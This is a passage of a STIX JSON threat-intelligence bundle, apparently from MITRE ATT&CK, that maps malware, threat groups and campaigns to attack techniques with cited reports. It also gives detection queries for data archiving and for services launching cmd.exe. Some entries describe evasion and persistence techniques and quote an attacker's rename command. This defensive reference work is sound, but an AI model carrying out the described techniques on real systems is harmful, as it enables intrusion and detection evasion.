            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--499af4be-5b6b-40b2-8df7-f41011ed1f4d",
            "created": "2024-03-25T18:31:19.457Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "SocGholish-update",
                    "description": "Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"
                },
                {
                    "source_name": "Red Canary SocGholish March 2024",
                    "description": "Red Canary. (2024, March). Red Canary 2024 Threat Detection Report: SocGholish. Retrieved March 22, 2024.",
                    "url": "https://redcanary.com/threat-detection-report/threats/socgholish/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:12:37.305Z",
            "description": "[SocGholish](https://attack.mitre.org/software/S1124) can profile compromised systems to identify domain trust relationships.(Citation: SocGholish-update)(Citation: Red Canary SocGholish March 2024)",
            "relationship_type": "uses",
            "source_ref": "malware--5911d2ca-64f6-49b3-b94f-29b5d185085c",
            "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
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                {
                    "source_name": "Outlook Today Home Page",
                    "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.",
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                    "description": "Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.",
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                    "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.",
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                    "source_name": "Deep Instinct Black Basta August 2022",
                    "description": "Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.",
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            "description": "[QakBot](https://attack.mitre.org/software/S0650) has been delivered in ZIP files via HTML smuggling.(Citation: Trend Micro Black Basta October 2022)(Citation: Deep Instinct Black Basta August 2022)",
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                    "description": "Microsoft. (2022, February 15). Email exfiltration controls for connectors. Retrieved May 27, 2022.",
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                    "source_name": "Mandiant Cutting Edge Part 3 February 2024",
                    "description": "Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"
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                {
                    "source_name": "Mandiant Cutting Edge Part 2 January 2024",
                    "description": "Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.",
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            "description": "During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors changed timestamps of multiple files on compromised Ivanti Secure Connect VPNs to conceal malicious activity.(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Mandiant Cutting Edge Part 3 February 2024)",
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                    "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.",
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                    "description": "Elsad, A. et al. (2022, June 9). LockBit 2.0: How This RaaS Operates and How to Protect Against It. Retrieved January 24, 2025.",
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            "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has updated and modified its malware, resulting in different hash values that evade detection.(Citation: Symantec Black Vine)",
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                    "source_name": "PaloAlto CardinalRat Apr 2017",
                    "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.",
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                    "source_name": "Malwarebytes Agent Tesla April 2020",
                    "description": "Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020.",
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                    "source_name": "evolution of pirpi",
                    "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.",
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            "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can enumerate current network connections.(Citation: Symantec Buckeye)(Citation: FireEye Clandestine Fox)(Citation: evolution of pirpi)",
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                    "description": "Koessel, Sean. Adair, Steven. Lancaster, Tom. (2024, November 22). The Nearest Neighbor Attack: How A Russian APT Weaponized Nearby Wi-Fi Networks for Covert Access. Retrieved February 25, 2025.",
                    "url": "https://www.volexity.com/blog/2024/11/22/the-nearest-neighbor-attack-how-a-russian-apt-weaponized-nearby-wi-fi-networks-for-covert-access/"
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                    "source_name": "Talos Olympic Destroyer 2018",
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
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            "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) will attempt to clear the System and Security event logs using <code>wevtutil</code>.(Citation: Talos Olympic Destroyer 2018)",
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            "spec_version": "2.1",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "GitHub PowerSploit May 2012",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "url": "https://github.com/PowerShellMafia/PowerSploit"
                },
                {
                    "source_name": "PowerSploit Documentation",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "url": "http://powersploit.readthedocs.io"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-04-16T22:13:40.253Z",
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of ScriptModification modules that compress and encode scripts and payloads.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
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                    "source_name": "GitHub Pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
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            "description": "[Pupy](https://attack.mitre.org/software/S0192) has built in commands to identify a host\u2019s IP address and find out other network configuration settings by viewing connected sessions.(Citation: GitHub Pupy)",
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                    "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.",
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            "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to search for a given process name in processes currently running in the system.(Citation: Zscaler Kasidet)",
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            "description": "Monitor for new files added to the <code>/Library/LaunchDaemons/</code> folder. The System LaunchDaemons are protected by SIP.",
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                {
                    "source_name": "Kubernetes Hardening Guide",
                    "description": "National Security Agency, Cybersecurity and Infrastructure Security Agency. (2022, March). Kubernetes Hardening Guide. Retrieved April 1, 2022.",
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                    "source_name": "ORB Mandiant",
                    "description": "Raggi, Michael. (2024, May 22). IOC Extinction? China-Nexus Cyber Espionage Actors Use ORB Networks to Raise Cost on Defenders. Retrieved July 8, 2024.",
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            "description": "[FLORAHOX Activity](https://attack.mitre.org/campaigns/C0053) has executed multiple Bash controller scripts to provide command line inputs for FLORAHOX traversal configurations.(Citation: ORB Mandiant)",
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            "description": "Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography.",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "Booz Allen Hamilton",
                    "description": "Booz Allen Hamilton. (2016). When The Lights Went Out. Retrieved December 18, 2024.",
                    "url": "https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf"
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            "modified": "2025-04-16T22:13:41.356Z",
            "description": "During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), vba_macro.exe deletes itself after `FONTCACHE.DAT`, `rundll32.exe`, and the associated .lnk file is delivered. (Citation: Booz Allen Hamilton)",
            "relationship_type": "uses",
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            "created": "2019-01-30T19:50:46.733Z",
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                {
                    "source_name": "Unit 42 NOKKI Sept 2018",
                    "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.",
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            "description": "[NOKKI](https://attack.mitre.org/software/S0353) can collect the current timestamp of the victim's machine.(Citation: Unit 42 NOKKI Sept 2018)",
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                {
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                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"
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            "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command to rename one of their tools to a benign file name: <code>ren \"%temp%\\upload\" audiodg.exe</code>(Citation: FireEye admin@338)",
            "relationship_type": "uses",
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            "description": "Monitor for newly constructed processes and/or command-lines that aid in compression or encrypting data that is collected prior to exfiltration, such as 7-Zip, WinRAR, and WinZip. Before\u00a0[Exfiltration](https://attack.mitre.org/tactics/TA0010)\u00a0that an adversary has\u00a0[Collection](https://attack.mitre.org/tactics/TA0009), it is very likely that a\u00a0[Archive Collected Data](https://attack.mitre.org/techniques/T1560)\u00a0will be created, so that transfer times are minimized and fewer files are transmitted. There is variety between the tools used to compress data, but the command line usage and context of archiving tools, such as ZIP, RAR, and 7ZIP, should be monitored.\nIn addition to looking for RAR or 7z program names, command line usage of 7Zip or RAR can be detected with the flag usage of \u201c\\* a \\*\u201d. This is helpful, as adversaries may change program names.\n\nNote: This analytic looks for the command line argument\u00a0a, which is used by RAR. However, there may be other programs that have this as a legitimate argument and may need to be filtered out.\n\nAnalytic 1 - Command Line Usage of Archiving Software\n\n<code> (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"WinEventLog:Security\" EventCode=\"4688\") CommandLine=\"* a *\"</code>",
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            "description": "Monitor for unexpected network share access, such as files transferred between shares within a network using protocols such as SMB.",
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            "id": "relationship--4db08a6d-ecbb-4a70-b0e5-9dac4dfb1517",
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                {
                    "source_name": "RedCanary RaspberryRobin 2022",
                    "description": "Lauren Podber and Stef Rand. (2022, May 5). Raspberry Robin gets the worm early. Retrieved May 17, 2024.",
                    "url": "https://redcanary.com/blog/threat-intelligence/raspberry-robin/"
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            "modified": "2025-04-16T22:13:42.418Z",
            "description": "[Raspberry Robin](https://attack.mitre.org/software/S1130) uses regsvr32.exe execution without any command line parameters for command and control requests to IP addresses associated with [Tor](https://attack.mitre.org/software/S0183) nodes.(Citation: RedCanary RaspberryRobin 2022)",
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                    "source_name": "Checkpoint IndigoZebra July 2021",
                    "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021.",
                    "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/"
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            "modified": "2025-04-28T15:47:04.763Z",
            "description": "[IndigoZebra](https://attack.mitre.org/groups/G0136) has established domains, some of which were designed to look like official government domains, for their operations.(Citation: Checkpoint IndigoZebra July 2021)",
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                {
                    "source_name": "TechNet Credential Theft",
                    "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx"
                },
                {
                    "source_name": "TechNet Least Privilege",
                    "description": "Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/dn487450.aspx"
                },
                {
                    "source_name": "Microsoft Azure security baseline for Azure Active Directory",
                    "description": "Microsoft. (2022, November 14). Azure security baseline for Azure Active Directory. Retrieved February 21, 2023.",
                    "url": "https://learn.microsoft.com/en-us/security/benchmark/azure/baselines/aad-security-baseline"
                },
                {
                    "source_name": "Microsoft Security Alerts for Azure AD Roles",
                    "description": "Microsoft. (2022, November 14). Configure security alerts for Azure AD roles in Privileged Identity Management. Retrieved February 21, 2023.",
                    "url": "https://learn.microsoft.com/en-us/security/benchmark/azure/baselines/aad-security-baseline"
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                    "description": "Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.",
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                    "source_name": "DFIR_Quantum_Ransomware",
                    "description": "DFIR. (2022, April 25). Quantum Ransomware. Retrieved July 26, 2024.",
                    "url": "https://thedfirreport.com/2022/04/25/quantum-ransomware/"
                },
                {
                    "source_name": "Trendmicro_IcedID",
                    "description": "Kenefick , I. (2022, December 23). IcedID Botnet Distributors Abuse Google PPC to Distribute Malware. Retrieved July 24, 2024.",
                    "url": "https://www.trendmicro.com/en_us/research/22/l/icedid-botnet-distributors-abuse-google-ppc-to-distribute-malware.html"
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            ],
            "modified": "2025-04-16T22:13:57.705Z",
            "description": "[IcedID](https://attack.mitre.org/software/S0483) has used rundll32.exe to execute the [IcedID](https://attack.mitre.org/software/S0483) loader.(Citation: Trendmicro_IcedID)(Citation: DFIR_Quantum_Ransomware)",
            "relationship_type": "uses",
            "source_ref": "malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
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        },
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            "id": "relationship--4eb00375-3ee3-43c7-845a-2206e1eff114",
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                {
                    "source_name": "Malwarebytes RokRAT VBA January 2021",
                    "description": "Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/"
                },
                {
                    "source_name": "Talos Group123",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html"
                },
                {
                    "source_name": "NCCGroup RokRat Nov 2018",
                    "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020.",
                    "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/"
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-04-16T22:13:57.919Z",
            "description": "[ROKRAT](https://attack.mitre.org/software/S0240) can check for debugging tools.(Citation: Talos Group123)(Citation: NCCGroup RokRat Nov 2018)(Citation: Malwarebytes RokRAT VBA January 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f",
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            "id": "relationship--4eb0635f-1851-4516-a584-4d5ff3c2e078",
            "created": "2022-06-09T21:19:30.591Z",
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                {
                    "source_name": "Malwarebytes Saint Bot April 2021",
                    "description": "Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022.",
                    "url": "https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/"
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            "modified": "2025-04-16T22:13:58.120Z",
            "description": "[Saint Bot](https://attack.mitre.org/software/S1018) can identify the OS version, CPU, and other details from a victim's machine.(Citation: Malwarebytes Saint Bot April 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--7724581b-06ff-4d2b-b77c-80dc8d53070b",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
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            "created": "2020-03-17T16:17:15.348Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
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            "modified": "2025-04-28T15:47:14.102Z",
            "description": "[APT1](https://attack.mitre.org/groups/G0006) uses two utilities, GETMAIL and MAPIGET, to steal email. MAPIGET steals email still on Exchange servers that has not yet been archived.(Citation: Mandiant APT1)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
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                    "source_name": "Mandiant_UNC2165",
                    "description": "Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"
                },
                {
                    "source_name": "Symantec WastedLocker June 2020",
                    "description": "Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021.",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us"
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            "modified": "2025-04-16T22:13:58.754Z",
            "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) used [PsExec](https://attack.mitre.org/software/S0029) to leverage Windows Defender to disable scanning of all downloaded files and to restrict real-time monitoring.(Citation: Symantec WastedLocker June 2020) [Indrik Spider](https://attack.mitre.org/groups/G0119) has used `MpCmdRun` to revert the definitions in Microsoft Defender.(Citation: Mandiant_UNC2165) Additionally, [Indrik Spider](https://attack.mitre.org/groups/G0119) has used WMI to stop or uninstall and reset anti-virus products and other defensive services.(Citation: Mandiant_UNC2165)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
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            "spec_version": "2.1",
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                {
                    "source_name": "Microsoft ADS Mar 2014",
                    "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.",
                    "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/"
                },
                {
                    "source_name": "Oddvar Moe ADS1 Jan 2018",
                    "description": "Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.",
                    "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/"
                },
                {
                    "source_name": "Oddvar Moe ADS2 Apr 2018",
                    "description": "Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.",
                    "url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/"
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            "object_marking_refs": [
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            "modified": "2025-04-28T15:47:14.361Z",
            "description": "There are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: <code>file.ext:ads[.ext]</code>) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
            "target_ref": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--4ebc45da-6c79-4d9f-9c25-144ff55f70c9",
            "created": "2024-01-18T18:47:16.727Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Kaspersky ToddyCat June 2022",
                    "description": "Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.",
                    "url": "https://securelist.com/toddycat/106799/"
                },
                {
                    "source_name": "Kaspersky ToddyCat Check Logs October 2023",
                    "description": "Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.",
                    "url": "https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T22:13:58.956Z",
            "description": "[Ninja](https://attack.mitre.org/software/S1100) has the ability to enumerate directory content.(Citation: Kaspersky ToddyCat June 2022)(Citation: Kaspersky ToddyCat Check Logs October 2023)",
            "relationship_type": "uses",
            "source_ref": "malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--4ebc7501-9471-4f37-92e1-8711073bd062",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
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            "modified": "2025-04-28T15:47:14.634Z",
            "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) is capable of using Windows hook interfaces for information gathering such as credential access.(Citation: Microsoft PLATINUM April 2016)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694",
            "target_ref": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6",
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--4ebce143-6b85-4188-a8ea-010045c48bdd",
            "created": "2022-03-30T14:26:51.876Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
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            "description": "Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nWindows runs the Service Control Manager (SCM) within the process services.exe. Windows launches services as independent processes or DLL loads within a svchost.exe group. To be a legitimate service, a process (or DLL) must have the appropriate service entry point SvcMain. If an application does not have the entry point, then it will timeout (default is 30 seconds) and the process will be killed.\n\nTo survive the timeout, adversaries and red teams can create services that direct to cmd.exe with the flag /c, followed by the desired command. The /c flag causes the command shell to run a command and immediately exit. As a result, the desired program will remain running and it will report an error starting the service. This analytic will catch that command prompt instance that is used to launch the actual malicious executable. Additionally, the children and descendants of services.exe will run as a SYSTEM user by default. \n\nNote: Create a baseline of services seen over the last 30 days and a list of services seen today. Remove services in the baseline from services seen today, leaving a list of new services. Returns all processes named cmd.exe that have services.exe as a parent process. Because this should never happen, the /c flag is redundant in the search.\n\nAnalytic 2 - Services launching CMD\n \n<code>  (sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=\"1\") OR (sourcetype=WinEventLog:Security EventCode=\"4688\") Image=\"*cmd.exe\" and ParentImage=\"*services.exe\"</code>",
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            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
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        },
        {
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            "spec_version": "2.1",
            "id": "relationship--4ebeacbf-4f30-4f32-86dc-54d932ea7c46",
            "created": "2020-03-15T16:27:38.223Z",
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            "modified": "2025-04-28T15:47:14.887Z",
            "relationship_type": "subtechnique-of",
            "source_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
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        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--4ec9a523-e27f-4984-9bde-4af785e5e75a",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Palo Alto DNS Requests",
                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"
                }
            ],
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            ],
            "modified": "2025-04-28T15:47:15.064Z",
            "description": "Responses from the [Pisloader](https://attack.mitre.org/software/S0124) C2 server are base32-encoded.(Citation: Palo Alto DNS Requests)",
            "relationship_type": "uses",
            "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        },
        {
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            "spec_version": "2.1",
            "id": "relationship--4ecf2ecd-ae5a-417b-a6a7-9690fb83a282",
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                {
                    "source_name": "FireEye APT39 Jan 2019",
                    "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html"
                },
                {
                    "source_name": "Dark Reading APT39 JAN 2019",
                    "description": "Higgins, K. (2019, January 30). Iran Ups its Traditional Cyber Espionage Tradecraft. Retrieved May 22, 2020.",
                    "url": "https://www.darkreading.com/attacks-breaches/iran-ups-its-traditional-cyber-espionage-tradecraft/d/d-id/1333764"
                }
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            "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) takes advantage of the /SetNotifyCmdLine option in [BITSAdmin](https://attack.mitre.org/software/S0190) to ensure it stays running on a system to maintain persistence.(Citation: PaloAlto UBoatRAT Nov 2017)",
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            "id": "relationship--4f2bd19b-f0f4-4946-a7a5-4947be3346b1",
            "created": "2020-12-14T17:34:58.821Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Nicolas Falliere, Liam O Murchu, Eric Chien February 2011",
                    "description": "Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved November 17, 2024.",
                    "url": "https://docs.broadcom.com/doc/security-response-w32-stuxnet-dossier-11-en"
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            "modified": "2025-04-16T22:14:05.616Z",
            "description": "[Stuxnet](https://attack.mitre.org/software/S0603) propagates using the MS10-061 Print Spooler and MS08-067 Windows Server Service vulnerabilities.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)",
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                {
                    "source_name": "FireEye APT19",
                    "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html"
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            "description": "[APT19](https://attack.mitre.org/groups/G0073) downloaded and launched code within a SCT file.(Citation: FireEye APT19)",
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            "id": "relationship--4f2fa285-c269-4bbc-afe8-afbd8fcfcda9",
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            "revoked": false,
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                    "source_name": "Mandiant Cutting Edge Part 2 January 2024",
                    "description": "Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"
                },
                {
                    "source_name": "Mandiant Cutting Edge January 2024",
                    "description": "McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
                },
                {
                    "source_name": "Volexity Ivanti Zero-Day Exploitation January 2024",
                    "description": "Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.",
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            "description": "During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors trojanized legitimate files in Ivanti Connect Secure appliances with malicious code.(Citation: Mandiant Cutting Edge January 2024)(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)(Citation: Mandiant Cutting Edge Part 2 January 2024)",
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            "source_ref": "campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9",
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                {
                    "source_name": "FireEye APT10 Sept 2018",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"
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            "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) can capture desktop screenshots in the PNG format and send them to the C2 server.(Citation: FireEye APT10 Sept 2018)",
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            "target_ref": "attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7",
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            "x_mitre_deprecated": false,
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        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--4f32ce54-46cf-4141-9700-9978056951db",
            "created": "2020-08-05T19:18:46.603Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Secureworks REvil September 2019",
